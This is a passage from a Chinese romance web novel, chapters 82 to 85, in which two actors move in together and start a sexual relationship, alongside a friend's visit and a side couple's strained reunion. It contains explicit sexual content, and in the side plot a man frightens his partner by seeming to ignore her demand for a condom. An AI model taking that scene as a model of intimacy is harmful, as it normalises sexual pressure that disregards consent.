这部电影，江遥还是没有看到最后。能并排容纳十余人的沙发上，程绪衣襟散乱，手背遮着眼睛仰靠在沙发背上，像是被暴雨摧折的花瓣，带着触目惊心的靡丽。只有手臂上鼓起的青筋，无形彰显着他的亢奋。
她记得，最开始，自己只是见不得他那副局外人的模样。屏幕里的人早已经天雷勾地火，他的手，还只是规规矩矩地扶着她的腰，仿佛再进一步，就会掉入万劫不复。
雪松的味道充满口鼻，满身冰雪的气息，却镇压不了江遥心中澎湃的热意。她只知道，不够，这样还不够。
攥住衣摆的手悄悄上移，藏起的景致现出冰山一角。几秒后，被一只大手捕获。像是镇压的宝塔，准确无误地锁住了这只心怀鬼胎的妖。
他的力气不大，她的手却怎么也挣不脱，江遥含糊不清地轻哼，“干嘛啊。”像是一只撒娇的小猫。
程绪低头笑，将她刚说的话还给她，“你干嘛？”
她也不跟他犟，乖乖地收回手，贴在他身上细细地喘。
他的唇在她脖颈间流连，鼻息喷在颈项，带来阵阵轻痒，于是江遥也笑了，“我还要出去见人的。”屏幕中的动静早已消停，她的意识忽而清醒忽而昏沉。
在他放松防备的那刻，温热的小手，终于在惦念已久的地盘着陆，掌下结实的肌理，遒劲有力，带着不容错辨的雄性气息。江遥的手像过电般，神经性地弹跳了下。
已经到了这一步，她干脆一不做二不休。程绪叹息，低头来捉她的手，江遥死死抱住他的腰，委委屈屈地控诉，“说话不算数。”
那轻柔的话语，在心中一遍遍撞击出声，勾连出暗夜里那些荒唐的梦。悬在头上的铡刀，拼命闪躲，还是迎来了掉落的时刻。
程绪动了动唇，想说我什么时候答应过，但很明显，早已错过最佳拒绝的时候，于是敛了神色，绷紧身子，整个人显得异常严肃而冷漠。
江遥扁着嘴看他，在他眼底，自己仿佛无理取闹的孩童，脸上写满不为所动。显然，他不答应。
唉，就知道没这么容易得逞。她颇觉遗憾地收回手，靠在他胸前平复心绪。<
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p>“砰—砰—”急促起伏的胸膛下，欢畅跳动的一颗心，不受主人意志所控。滚烫的热意透过单薄的布料，灼得她双颊发热。
江遥埋在他怀里，悄悄抿出一丝笑，重新仰脸看他。她判断着他的神色，愉快的音调里，透着丝丝缕缕的娇，“你是不是……”她脸上的得色压也压不住，程绪俯身，不想再听。
江遥呜呜拍打着他肩膀，声音含糊不清，像是落在棉被上的巴掌，团在一起的棉絮被拍松，蓬蓬的，鼓胀出温软的一片，程绪沉默着，加深了这个吻。
闹到最后，她眼尾挂着薄薄的泪，揪着他的袖口不死心地继续追问：“好不好？”
程绪扶着她的脑袋，吻掉她眼角溢出的生理性泪水，弯了弯唇角，冷声说：“不好，去睡觉。”
这是什么魔鬼，亏她刚才那么配合。江遥期待的脸色一下垂下来，猛地朝他身上一扑，程绪陷在沙发里，还没来得及反应，就见江遥直接跨坐在了自己身上，俯身的动作极速而迅猛，嘴唇撞在牙齿上，有血腥味蔓延开来。
老实讲，在男人身上，江遥很少拥有挫败感。口是心非的男人，更是她曾经嗤之以鼻的对象。她也没想到有朝一日，自己还能有这惊人之举。但现在不是思考的时候，一鼓作气的道理不用人教，她就着扑下去的动作，在他嘴上咂摸了会儿，柔软的唇舌，比它吐出的话语甜蜜千百倍。
再往下，仰起的脖颈上也落下红痕，程绪攥了攥手，拉住她的胳膊，想把她从身上掀下去，江遥仿佛丝毫意识不到他的动作，只睁着好奇的眼睛，在那上下滚动的喉结上亲了亲。
身体的反应迅速而诚实，程绪手上用力，尚未来得及动作，江遥像被烫到似的，惊慌地垂头。
晚了。有声音在心底说。
四目相对，他自暴自弃地直视她的双眸，声音艰涩，“别玩了。”
江遥顿了顿，以为自己听错，定睛去看，他已经敛起双眸，不愿再泄漏太多。眼里的那丝羞涩彻底化开，被燃起的烈火取代，有什么从心底一路蹿上来，她拨开他伸来的手，不管不顾地扯开他的衬衫，一路往下，在精壮的胸膛上留下新鲜的印痕。如果不是他阻止，大有继续往下的趋势。
程绪的肤色很白，但并不是那种羸弱的苍白，像是上好的玉石，漂亮、温润，有粉色悄悄漫上白玉周身，有幸见到的人，无不为它的美丽心动。可惜，那深深浅浅的牙印和咬痕，无声宣告着恶徒的行径，让天然的美玉不再完整。始作俑者却还不死心，等到红梅颤颤开放，才勾唇起身。
交往的大半年，他们真正待在一起的时间屈指可数。江遥也没想到，自己一次激情上涌，却阴差阳错地，治好了他的别扭。
程绪仿佛还没从惨遭蹂躏的场景中回神，有着破罐子破摔般的麻木，在她要跟着他回房时，也只是沉默地拿出新的枕头，和他的并排摆在一起。
江遥神清气爽，滚进他怀里，枕着坚硬的胸膛，后知后觉的有点牙酸。
82. 离家出走
这一觉江遥睡得很安稳，梦里淅淅沥沥的雨声，也丝毫没有破坏她的好心情。醒来的时候，嘴角还勾着笑，想再细细回想，却记不起究竟梦了些什么。
程绪不知何时已经起身，她压下嘴角的笑意，踩着拖鞋出门。提前准备好的早安语，看来只能明天再说了。
但接下来几天，她都没有找到当面跟他道早安的机会。B市的项目临时出了点状况，程绪在当天中午就踏上了飞机，就连行李，都是杨越来替他收走的。
江遥也没有在意，欢欢喜喜打车去了汪静静家。
门铃响了几声，汪静静将她请进门，不客气地数落，“说好我去接你，干嘛跟我客气。”
有些朋友就是这样，你不麻烦她一下，她还有点不爽。
江遥对她家熟门熟路，自己换好鞋往里走，捧过她倒来的水喝了两口，“打个车就能解决的事，干嘛非要接来接去的。”
汪静静翻了个白眼，“拜托，你对自己有点基本的认知好不？”
江遥牵着她的胳膊拉着她坐下，“好了好了，我注意着呢，不如看看晚上吃什么。”
B市，某私人会所。
孟棠风风火火推开门，桌上的两人默契地停下交谈，一起朝门外看去。
右边的椅背上挂着件男士外套，孟棠目不斜视，在程绪旁边拉了张椅子坐下，问他：“你怎么突然来了？”
程绪靠着椅背，言简意赅道：“出了点小状况。”
程绪这人，向来是报喜不报忧的类型，他嘴里的小状况，和一般人的认知也不太一样。孟棠上挑的凤眼又往上扬了扬，这是她表达疑惑时的小动作，宋青卓见状，跟她说了说现在的状况。
孟棠越听越疑惑，很难得的，这次他倒遵循了实事求是的原则，她看着旁边沉默的男人，不解地问：“你手下没人了？”还是她和社会脱节太久，这么点事也需要老板亲自过问？
程绪侧头看来一眼，“你能不能盼我点好。”
孟棠哟呵一声，嗓门提到一半，又突然哑了声。
“这里怎么了？”她指了指自己的脖子问。修长的脖颈上，创可贴的痕迹过于显眼。
程绪换了个坐姿，语气淡淡的：“被猫挠了下。”
“严不严重，出血了吗？疫苗有没有打过？”孟棠满脸担忧地问，她正想仔细看看程绪的伤情，刚一抬眼，对上侧面那道幽深的视线。
宋青卓伸手过来，语气温和，“碗给我。”
孟棠将碗递过去，程绪抬手整理了下衣领，“没事，不要紧。”
后半程，几人各自安静，饭桌上，只余孟棠偶尔和程绪交流几声，以及宋青卓给她布菜的声音。
饭毕，孟棠尽职尽责地扮演起好姐姐的角色，“你住哪，我送你过去。”
程绪看着眼前仿佛被掉包的某人，笑道：“不用了，司机在楼下等。”
孟棠也没再强人所难，“好吧。”听起来颇有点失望。
宋青卓丝毫没有避讳的意思，拿起一旁的外套，披在孟棠身上，又来牵她的手，对程绪微微颔首，“下次见。”
程绪点头，抬脚往外走，尽量忽略身后那俩人的小动作。
“哎呀我自己会走，拉拉扯扯干什么。”孟棠压着声音，去拍覆在自己手上的那只手。
手的主人纹丝不动，勾唇笑了笑，在她耳边轻吐：“你确定？”笑意里带着三分邪性，一听就不是什么正经的男人。但偏偏，在某些事上却分外传统。孟棠忍不住瞪过去，他却笑得更开心。
“你有病。”她不客气地下结论。
“嗯，病得不轻。”宋青卓点头赞同。
多年沉疴，且不想自救。讳疾忌医，一切都是应得的果，他已做好准备承受。
晚上，孟棠趴在床上，为自己的一时嘴爽付出了代价。天气早已过了最热的时候，男人身上的汗却止不住地流，一会儿喊宝贝，一会儿又不顾她的死活。她真心觉得神奇，“你什么时候变得这么阴晴不定了？”
他脸上的笑意瞬间落下去，阴沉着眉眼来拉她的手，孟棠这下是真的怕了，拼命搡着身上的男人，声音因为紧张而显得有一丝凄厉：“戴套！”
宋青卓挑挑眉，亲了亲她的额头，“再不加把劲，朵朵要赶不上当姐姐了。”
朵朵。那是多少年前的事了。
在他们关系还很好的时候，宋青卓和程绪从未见面过，他只是孟棠嘴里，那个讨人厌的表弟。表弟来的时候，爸爸的注意力会全部转移到他身上，妈妈也会分外温柔地为他做想吃的。
他拥有爸妈全部的关注，却还是喜欢摆着一副死人样儿。小小的孟棠，还是更喜欢和温柔乖巧的宋青卓玩。
不知道是哪次，程绪又惹她生气了，她拉着宋青卓愤愤不平地抱怨，“他从来都不叫我姐姐，以后我一定要生个孩子讨回来。”
宋青卓从来都和她统一战线，坚定地点头，“我们朵朵肯定是姐姐。”朵朵，是孟棠悄悄为自己宝宝取的名字。
小时候的烦恼，从来都是那么直白而天真。眼前的男人，还依稀能看见以前的模样，却早已和她走散。
孟棠突然泪流满面，宋青卓瞬间慌了神，去吻她不停流泪的眼睛，“对不起，我只是想吓吓你。棠棠对不起。”
自从妈妈去世后，孟棠已经很少这样流泪了。哭泪了，宋青卓抱着她去洗漱，守在床边等她睡着后，悄悄关上门离开了。
关门的声音响起，被子下的人睁开眼睛，又无力地拉过薄被盖上，无力地轻叹：“死了算了。”
程绪回到酒店，收到一条新信息，是孟棠发的：「代我向你家猫问好。」
蹩脚的借口，没被当面戳穿已经很难得。程绪抿了抿唇，收起手机，没有再回复。
浴室的镜子，忠实记录着藏起的旖旎风情。盖住的地方，只是冰山一角。衣服剥落后，青青紫紫的印记，在前胸后背交错，看不出一块完好的肌肤。他还记得，她咬过来时的力度，不疼，只是刚刚好，在他身上落下划痕。
外面的手机铃声突然疯狂响起，程绪匆匆围了浴巾，裸着上身出门。
沙发上的手机屏上，清晰地显示着联系人。他抹了把流到前额的水珠，点击接听。
电流声滋滋响动，两人皆无声，似乎在跟彼此较劲。莫名的沉默让人无端升起不确定，还是许婉清按捺不住，匆忙出声
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，“阿绪，是我。”
程绪仿佛这才确定对面人的身份，语气温和地问：“妈，这么晚有什么事。”
许婉清攥着手机，忽略掉心底的那点不自在，笑着开口，“听你姨父说你这两天在B市出差，他想请你有空过去吃顿饭，没有联系上你，又给我发了消息。”
“哦，可能手机刚好没电了。”程绪随口扯了个借口。
孟氏的新项目投资人突然撤资，在这种关键时刻，孟家的乘龙快婿却选择隔岸观火，孟岩这是确定宋青卓那边的路子走不通，又将主意打到了他身上。
许婉清将话带到，听着话筒那边安静的声音，想了想又嘱咐道：“你空了记得给你姨父回个电话。”
脚边的地板上已经被水滴湿了一片，程绪盯着自己赤着的脚，声音淡淡的：“嗯，我知道，没事我挂了。”
“嗯好，你自己在外边也要多注意身体。”许婉清最后说。
“好的，您也多保重。”程绪礼貌回复。
也许是察觉到他的心绪，等他再次洗完澡出来，沙发上的手机，低调地没敢再发出任何响动。而这异常的安静，有时候也并不是那么得人看重。
程绪手指在屏幕上轻点，手下的屏幕，亮起、熄灭，再次亮起，又重新回归沉寂。已经到了这个点，没有人会再主动给他发消息。唯一不顾时间发骚扰信息的某人，只在下午留下了一条报备提醒：「我去静静家住几天。」
几个小时过去，他不联系，她也默契地没有再发来新消息。不用多问，他都知道她玩得有多开心。
程绪揉揉额头，靠近抑或远离，原来都是一种折磨。
江遥在汪静静家住了四天，最后以她临时来的一条通告结束。Susie电话过来的时候，她正和汪静静在外面按摩。
是某传媒集团旗下新创办的一本刊物，邀请江遥当首期封面人物，对方看中江遥的咖位和影响力，Susie看重它背后关联的人脉，双方一拍即合，Susie已经答应了下来。
“跟他们约的明天上午九点，地点我发你手机了。”知道江遥在外面，她说了几句就很快收了线。
汪静静听了全程，等江遥挂完电话，就见她做出一副可怜兮兮的表情，幽怨出声：“你又要弃我而去了。”
江遥摊手，“是啊，有活找。”
汪静静轻叹：“可惜了我的小龙虾。”本来两人餐馆都已经选好，就差这么临门一脚，搭子没了。
不说还好，一说江遥的馋虫也被勾动了。今年的小龙虾季节即将过去，她甚至还没有尝过味儿。她想了想，“要不我们自己做。”
汪静静仿佛见了鬼一般，质疑道：“你会做？”
江遥朝她这边努努嘴，一点也没觉得不好意思，“这不是还有你么，我可以给你打打下手。”
倒也不是不行，汪静静理性被感性驱使，晕乎乎地答应了下来，说完又反应过来，“你不是急着去试装吗？”
杂志方准备的礼服，需要她提前试试合身与否，有必要的话，会进行现场改动。
时间确实挺紧，江遥换上自己的衣服，跟汪静静说：“所以，我说的是，去我家煮。”
83. 室友
汪静静眼睛一亮，也爬起来飞快换上衣服。
江遥之前的公寓，她已经闭着眼睛都能摸到大门口，而后来搬到的住址，江遥一直讳莫如深，一脸不想多谈的样子，她也识趣地没有多问。也是后来才听她说，现在是合租。
“你室友没在家吗？”能跟明星，尤其是江遥这种大明星合租的，怎么可能是普通人，结合江遥之前的状态，她已经有了大致猜测，不过还没来得及去证实罢了。
两人在一起的日子短暂而快乐，她也不想在这仅剩的几天假期里，提起什么不愉快的话题倒胃口。不过现在，既然江遥主动提议，她也没有故意矫情的必要。
“去！行！”汪静静满口答应。八卦之魂熊熊燃烧，何止一桌小龙虾，现在就是让她去做满汉全席也能一口应下。
江遥在导航栏里输入地址，汪静静看清小区的名字，脚下一颤，一脚油门差点踩到底。车子猛地向前冲，吓得正在系安全带的江遥赶紧抓住上方的扶手，安抚她，“不要激动，小命要紧。”
汪静静意味不明地扫了江遥一眼，江遥耸耸肩，模仿导航提示音，甜甜一笑：“准备出发。”
汪静静收拾好心情，好歹安全把车子在车库停下。看清旁边那些清一色的豪车车标，她气若游丝地抓着江遥的胳膊，“或许，你缺不缺一个拎包的？”
江遥晃了晃自己手中那个几十块钱淘来的手袋，拒绝：“请不起，谢谢。”
自己的失败固然可恨，姐妹的成功更让人百爪挠心。汪静静稳了稳因嫉妒狂跳的心，恶狠狠出声：“这顿小龙虾你请。”
江遥笑：“应该的。”
小龙虾已经提前处理过，只用准备好调料下锅煮。两人不赶时间，江遥带着汪静静每个房间参观了一圈。汪静静一边感慨，一边对她眼刀子飞个不停。
虽然江遥和同龄人的差距从学生时代就已经很明显，但也许是得益于她不爱端姿态的脾气，以及常年蜗居的小公寓，至少在住所上，两人看起来并没有太大差距。但楼下那训练有素的巡防队伍以及这几百平的大平层，让这差距噌一下飙升。汪静静现在颇有一种“我知道你有钱，但我不知道你这么有钱”的微妙感觉。
程绪的房间门关着，江遥带着她经过，没有多停，简单介绍：“我室友的。”
对演员来说，偌大的影音室简直就是自己的自留地。汪静静也不能免俗，哇哇感叹了几声，正想坐下来放部电影，感受下把影院搬进家中的快乐，江遥一把捞住她往下坐的身子：“走，带你去我房间看看。”
江遥的卧室，和之前在公寓的风格差不多，只是，空间大得堪比之前的整个公寓，显得她的存在感，仿佛轻轻一下就能抹除。汪静静想了想说：“我看这里还有空的房间，要不跟你室友说说，不介意的话我也来租一间住住？”
江遥笑了笑，语气温软：“好，我晚点跟TA讲。”
汪静静受不了这种揣着明白装糊涂的交流，最后还是自己先破功，没好气地飞了她一个眼刀，往自己脸上指了指：“你看看我脸上，是不是写了个智障。”
江遥笑：“倒也不必这么骂自己。”
汪静静正了神色，收起玩笑的表情，“老实交代，什么时候开始的？圈内人吧？”
江遥也不知道为什么她和Susie都问一样的问题，但还是老实点头：“嗯，圈内的，有大半年了。”
汪静静眉毛一挑，“瞒得真紧啊。”又问，“我认识吗？”
她说的认识，当然不是那种单方面知道名字认识脸的认识，江遥想了想，肯定摇头，又点点头，“他很少接戏，但你们见过。”
在圈内这么多年，她见过的人可还真有点多，汪静静猜测：“歌手？”
“不，演戏的。”
汪静静这可就不愿意了：“年纪轻轻怎么就不工作了，不会是打着吃软饭靠你养的准备吧？我跟你说，恋爱谈谈就好了，咱可千万别上头。”
吃软饭。不知道怎么，江遥觉得这个词放在程绪身上颇有点喜感。不知道本尊听到，会有什么感受。她也不为他辩驳，只笑着答应：“我知道的。”朋友的好心，她都全盘接收。有些想法，或许只有他们见到本人的时候，才知道真的是多虑。
汪静静还在噼里啪啦给她传授经验之谈，严格来说，是之前看八卦积攒的经验，经她总结消化之后，得出的观点。江遥看她一时没有停下的趋势，又给她添了杯水，自己捧着杯子静静听她口若悬河，一边喝一边点头。
汪静静唱了几分钟的独角戏，也打住了继续说的意图，有些话点到即止就好，说多了难免惹人厌烦。正想转移话题，掀起眼皮，就被江遥手上五颜六色的水杯吸引了注意力，“你杯子在哪买的，还挺有艺术感。”
江遥端起杯子看了看，“朋友送的。”
汪静静凑过来，“什么牌子，我也去看看。”
杯子周身都是混杂的色彩，只有底部，用黑色的细笔，勾勒出一个不太明显的“YA”字，汪静静记下，喃喃着：“什么时候出的新品牌？”
江遥也不认识，“可能就是什么不知名的小牌子吧。管他呢，喜欢就买。”
中午两人在外面吃过，小龙虾上桌的时候，刚好是晚饭的时候。
通红的色泽、扑鼻的香气，诱得人垂涎欲滴。江遥摆好碗筷，邀请汪静静快入座：“你加油，我明天有拍摄，过几天还得进组，不能吃太多。”还好，最近她在有意控制食量，吃进去的和运动消耗的勉强能互相抵消。
汪静静切一声：“你看这小龙虾才多少肉，大不了今天吃完晚上运动加点量。”
江遥一想，好像是这样。不过她还是怕自己刹不住车，又不想弄得满手油污，省得明天开工还能闻到味儿，只用筷子夹着慢慢啃。汪静静身前的盘子里已经堆起高高的壳，她还在和第六只虾做争斗。
两人吃得红光满面，压根没注意到，门是怎么开的。
辛辣的味道直冲门口而来，程绪忍了忍，还是没忍住咳了两声。埋头苦吃的两人终于听到动静，惊慌地抬头望向门口。
汪静静呆呆地盯着门口，门口的人，完全没有乱入的自觉，回头掩上门，将行李提进来，淡定地冲她们点头。汪静静惊悚地回头看向江遥，江遥鼻子上
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不小心蹭了点辣油，嘴巴也油汪汪的，同样呆怔着还没反应。再看自己满是油污的手，汪静静生无可恋地闭了闭眼睛，早知道就不嫌麻烦戴个手套了。
江遥被她一看，终于反应过来，飞快起身，跑到程绪面前，仰着脸问：“你怎么回来了？怎么不提前跟我打个招呼。”
程绪盯着她，说：“我给你发微信了。”
江遥想了想，说不定就是她们激情吐槽的那会儿，果然背后说人要不得。她莫名有点心虚，声音低下去，“哦，我没看手机。”说完指了指餐桌，拉着程绪往那走：“吃饭了吗？静静自己煮的，一起吃点儿？”
程绪冲汪静静点头：“你好，我是程绪。”
汪静静赶紧抽了张纸巾胡乱擦了擦手，两手挥挥权当打了招呼，脸色一言难尽，看得江遥板着脸才把笑憋回去。她轻咳两下，一本正经地给彼此介绍：“汪静静，我大学室友，也是多年好友。”
说罢，又拉着程绪给汪静静介绍：“程绪，我现在的合租室友。”
见鬼的合租室友。汪静静嘴角抽了抽，又迅速扬起一个笑模样，站起身恭敬地招呼：“您好，我是汪静静。”说完，她又恨不得咬掉自己的舌头，遥遥的男朋友，哪里用得着说什么您啊，没找他请客都算好的。不过谁知道，那个没什么工作的小白脸，能是这尊大佛呢。
她这边思绪早已经转了几个弯，程绪试图勾勾嘴角，礼貌地应对完这场意料之外的会面，嘴唇却像被胶带粘住，他用尽全身力气，努力想摆出一个笑弧。垂在身侧的手掌不自觉紧握，手背上青筋一条条爆出，他自己都没有意识到，还在用力扬着嘴角，思考着继续说点什么才好。
江遥和他隔得很近，视线扫过，程绪脸上的表情看不出什么变动，但他全身的神经，在一瞬间绷紧，展示出一种防备的姿态，像是刚刚探出头的蜗牛，又缩进了厚厚的壳。刚才还吃得火热的屋子里，突然就有了那么点儿冷清。影帝的演技，原来也并不是完全无懈可击。
她仿佛不知道他们彼此的心思，笑着挨过去，去牵他的手。轻柔的小手试探着覆上他的手，她的手很小，宽大的手掌猛地一颤，又安静地蜷缩在她掌中，不动了。程绪僵着身子，由着她一根根掰开攥紧的手指，带着他在桌前落座。
汪静静一回神，就见对面那俩连手都牵上了，她张着嘴，敢情这是完全不把她当外人啊。江遥笑着侧头看来，晃了晃两人相牵的手，跟汪静静补充：“程绪，现在是我男朋友。”
汪静静挑眉，江遥自觉：“找个时间，让他请你吃饭。”
像是溺水的人终于攀上一根浮木，程绪找回自己的声音，冷静颔首：“随时恭候。”
江遥从厨房拿了副碗筷，张罗着两人继续开吃，“快吃快吃，等会儿菜都冷了。”
程绪已经吃过东西，见状也没有推脱。抽了张纸巾，揩掉她鼻头上沾着的油渍，淡声说道：“慢点儿吃。”
江遥不满：“我这已经很慢了。”
汪静静正埋头猛吃，冷不防被扫射，闻声恨恨瞥来一眼，我这是跟你什么仇什么怨。这一顿吃完，怕是要消化不良。
84. 真心话
程绪没有什么话，餐桌上，还是两位女人，一边风卷残云，一边漫无目的聊着。当然，有程绪在，汪静静已经收敛许多。
“你下部戏男主定了？”江遥问。
汪静静瞅了个空点头，“网上的消息就是剧方放的。”斜对面，程绪戴着双一次性手套，默默剥着手中的虾。脸长得好看的男人，连手都很匀亭。只见他利索地拆掉脑袋、尾巴，剥出中间的虾肉。
江遥终于解决掉一只，惊呼着接上话：“哇，我跟你说，这人我之前在后台见过，卸了妆也超帅的。”
程绪把剥好的虾肉放进江遥碗里，又面无表情地拿起一只新的，手上的动作有条不紊。有人投喂，江遥的嘴也终于空下来，“抛开演技不管，养养眼也是好的。”
话赶话说到这儿，江遥看了眼碗中新塞过来的虾肉，突然意识到这话题好像有点不太对。汪静静觑了下对面的脸色，干脆选择闭嘴。
桌子是程绪收的，江遥送汪静静下楼，汪静静不无佩服地看着她，由衷地比了个大拇指。这姐们，搞事业搞到顶流，没想到搞男人，也要冲金字塔尖的人下手。
江遥挑眉：“怎么？”
汪静静笑：“夸你呢。”
江遥推开她：“少来，等我下次回来，让他请你吃饭。”
汪静静笑道：“好啊，我也算是终于能吃到这顿饭了。”话落，她恨不得抽自己一巴掌，这一晚上脑子真抽抽了，在这哪壶不开提哪壶。江遥脸色一如往常，“落了谁也不能落了你啊。”
汪静静启动车子，从车窗中伸出手，背对着她挥了挥，“走了。”
江遥上楼时，桌面已经擦过，程绪不见人影。她摸去他房间，也没有见到人，一墙之隔的浴室里，传来哗啦啦的水声。床上还胡乱扔着她前几天换下的睡裙，江遥拾起衣服，往脏衣篓里一丢。又摸去健身房，找了个剧点开当背景音，在跑步机上跑了会儿步。
程绪擦着头发从浴室出来，只见床上的睡裙已经被拿走，客厅安静地亮着灯，江遥不知所踪。他吹干头发，推开书房的门。
江遥在浴室待了很久，洗漱过后，整个空间被水雾笼罩，镜子中的女人，红扑扑的脸上，是被热气蒸出的红晕。她穿着一条黑色的吊带睡裙，细细的肩带挂在细瘦的肩膀上，有水珠从发梢滴落，悄声没入深壑。江遥打开吹风机，一点点将头发吹至半干。几个月过去，头发又长长了点。
进组的时间里，皮肤也一直没来得及仔细护理，她摸了摸明显粗糙的肌肤，又翻出之前用的身体乳，仔细涂满全身。乳液是清新的水果香，她深深吸了口气，推开卧室门。
程绪还没有回房，江遥直接掀开被子，坐在床头等他。被子掩到脖子以下，两条白嫩嫩的胳膊，拿了他放在床头的一本杂志看。杂志上都是密密麻麻的文字，江遥看了会儿，就止不住打瞌睡。
程绪从书房回来，就见她捧着比她脸还大的杂志，靠在床头等他，脑袋一点一点的，又强撑着自己不要睡下。像是梦中无数次见过的场景，他内心泛起一片潮热，托住她一点一点的小脑袋，轻声说：“躺下睡。”
江遥脑袋找到依托，他的声音如遥远的催眠曲，听得她只想什么也不管，就这么睡过去。程绪抽出她手中的杂志，放到床头柜上，小心翼翼地扶着她躺下，替她掖好被角。
脑袋一沾枕，江遥意识就猛地清醒过来。她捂嘴打了个哈欠，拍了拍身边的位置，喊他：“快来睡。”脸上浮着全然的欣喜与期待，程绪掀开被子，躺了下来。
他身姿笔挺，一动不动，像是随时等待口令的士兵，中间的被子垂在床上，留出大片空间。江遥怀疑他已经贴到床边，再往外挪一点，就能直接和地板来个亲密接触。
她翻身，一咕隆往他怀里一滚，程绪的手指蜷了蜷，终于还是伸手，稳稳拥住了她。
江遥的睡意早已跑了个没影，有些话终究要挑明。夜色掩藏下，或许可以试着说说真心话。
她背对着程绪侧躺着，彼此看不清脸上的表情，昏暗的房间里，只余江遥不高不低的话语声，她说：“我从来没想跟你玩。”
事实是这样吗？她其实有点不确定了。在最初的时候，或许是抱着玩玩就算，反正他名气更大，真分了也不会撕破脸找麻烦的想法来的，而且这么帅的脸，就算玩玩也不吃亏。但那是多久远的时候呢，她已经想不起来了。
江遥觉得，有时候，善意的谎言还是很有必要的。至少在了解他后，她一直是端正着态度，在和他谈这场恋爱。能不能走到最后，现在谁也不能拍着胸脯保证，但享受过程，何尝不是一种真心以待呢。
“如果我想玩，你绝对不是第一选择。”江遥继续跟他坦诚，“就像刚在一起时，我跟你说的，咱们的粉丝体量一点都不对等，和你在一起，我出门都得提着心。”
程绪收紧手臂，有轻柔的吻落在了她发顶。
江遥翻了个身，直视着他的眼睛：“现在我努力工作，也只是在朝你的脚步一点点接近。你走得太快了，所以我也想请你再等一等，再给我点时间，总有一天，我一定会大方将你介绍给所有人。”
程绪眼神很沉很重，江遥一直好奇，幽深的湖底，藏着什么秘密。就在这夜风吹拂的晚上，湖面上的冰一点点被吹散，潺潺流动的湖水，漾起璀璨的波纹。
江遥一怔，不敢再直视他的眼睛，张着嘴轻声补充，“如果我们还在一起的话，会有那么一天的。”
欢快的湖水停止奔流，程绪听不得这种不吉利的话，直接低头封住了她的唇，“不会的，我信你。”
在许久之后再复刍，程绪发现，或许是那个晚上的自己太过欣喜，以至于完全没来得及，将自己的心声跟她准确传递。其实他想说：“请你也相信我。”
但不管如何，这个夜晚是属于情人的良宵。
四五天过去，上次留下的痕迹还没有散掉，反倒随着时间的流逝越发青紫，江遥老脸一红，收回肆虐的魔爪，轻叹：“你怎么这么娇。”激烈的亲吻过后，她声音里的媚压也压不住，勾勾缠缠，重新将他拉回到那一晚。
她像是不知危险的小鹿，还在他身上动
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来动去，薄薄的裙子蹭得往上跑了大半截，右肩的肩带滑落到大臂中央，露出一片旖旎风光，只要他一用力，就能撕下。程绪移开视线，江遥俯身抱住了他。两人贴得很近，灼热的呼吸一声声，暧昧得让人脸红。她睁着灵动的眼睛，红着脸望着他，嘴唇微张，活似枝头等人采摘的水蜜桃。
弓已经张到顶点，外力轻轻一碰，离弦的箭早已不受控。两人的位置不知何时已经调换，昏暗的房间，遮掩了他眼底的暴虐。她的手被推高至头顶，被迫承受着那热切的亲吻。
今天的程绪和以往都不同，江遥想分辨，身体的酥麻，带动着脑子也跟着混沌着，她瘫软着身子，用力攀着他的肩膀，热情地回应。
密密的吻，巡礼过陌生的领土，饱满的蜜桃，在自己手中绽放。江遥能感觉到男人身体的变化，身子缩着往后躲了躲，但哪里还有什么藏身之处，背后是柔软的床垫，她已经无处可去。
程绪无望地闭上眼睛，停在她耳畔轻喘，清冷的嗓音被欲望浸染，沙哑得不成样，“我出去一下。”
身上的热源一瞬间远去，江遥不知哪里生出的勇气，抱住他的胳膊不愿意撒手。程绪僵着身子，不敢和她对视。
两人就这么无声对立，江遥声音低低，“我可以。”
程绪喉咙滚了几滚，手臂上冒出根根可怖的青筋，他努力压下心底的破坏欲，逼着禁闭的猛兽回笼，“你先睡，我一会儿就回。”
江遥不再劝说，直接伸出了手。坚硬的东西握了满手，她后知后觉意识到自己干了什么。她试探着动了动，它也兴奋地跟着回应。江遥抬头去看程绪，程绪手背遮着眼睛，像是一只煮熟的虾，一副自暴自弃的模样。
灼热的视线、温热的掌心、轻柔的抚触。程绪绷直着身子，豆大的汗珠，顺着男人鬓角滑落。
什么嘛，怎么弄得像她强抢民女似的。江遥觉得新奇，勾了勾嘴角，准备再接再厉。下一秒，有什么东西洒了她一手。
一瞬天堂、一瞬地狱，大抵如是。程绪顾得不许多，手忙脚乱地去找纸巾盒，抽出几张纸巾，将她的手指仔细地擦拭干净。江遥还是呆怔着没有回过神，由着他将自己的手擦了一遍又一遍，再整理好自己的衣服，带着她往外走。
她记得，汪静静曾经和她说过，长得再帅的男人，扒了裤子其实也就那样。她还记得，当初她说起时那鄙夷的神情。之所以记忆这么深刻，是因为她说这话时，江遥就曾质疑过。汪静静理直气壮地反驳，“没吃过猪肉还没见过猪跑吗？”
彼时，她和苏远安谈了近一年，还只是限于拉拉小手、亲亲额头的程度，清楚知道怎么伸舌头的汪静静，对她可谓是只能仰望般的存在。
此刻，她看了看自己的手，再偷偷瞥了眼程绪，无辜地眨了眨眼。或许下次再看到汪静静时，可以再仔细探讨一下，猪到底是怎么跑的。
“哗啦啦”的水声响起，程绪挤了满手的洗衣液，把她的手放在笼头下洗了一遍又一遍。她有心想笑笑，你怎么还嫌弃上自己了，又觉得这时候，还是少说为妙。
85. 投资人
“啊……”江遥看着镜子中自己裸露的脖颈，突然惊呼出声。
程绪以为是自己弄痛她了，下意识放轻动作，江遥突然猛拍他的胳膊，指着自己脖子，“我明天还有拍摄！”
脖子上，东倒西歪着几个鲜红的印记，看不到的地方，还不知道是什么状况。明天有几套裙子要穿，江遥生无可恋地仰头，“我要完了。”
只怪自己，被欲望冲昏头脑，完全忘了这一茬。
程绪锁着眉头，抚了抚她脖颈上新鲜的草莓印，“对不起，我不是故意。”
江遥瞪着眼睛，“你自责什么，我自己都忘了。”程绪压根不知道她明天安排了工作，怎么怪也怪不到他头上去。
江遥挣开他的手，噌噌往外跑去。不一会儿，抱回个化妆包，坐在梳妆台前，“我试试能不能遮住。”
程绪也跟着坐过来，安抚她：“实在不行，我来想办法。”
江遥也没管他说什么，掏出遮瑕膏和粉底液，在脖子上拍拍打打。薄薄一层盖上去，还是有隐约可见的印痕。
她这下是真想哭了，“怎么办啊，我过几天就要进组，调不出档期再拍了。”
程绪说：“我可以跟杂志社说，这次封面人物换成我，你挪到下期再拍摄。”
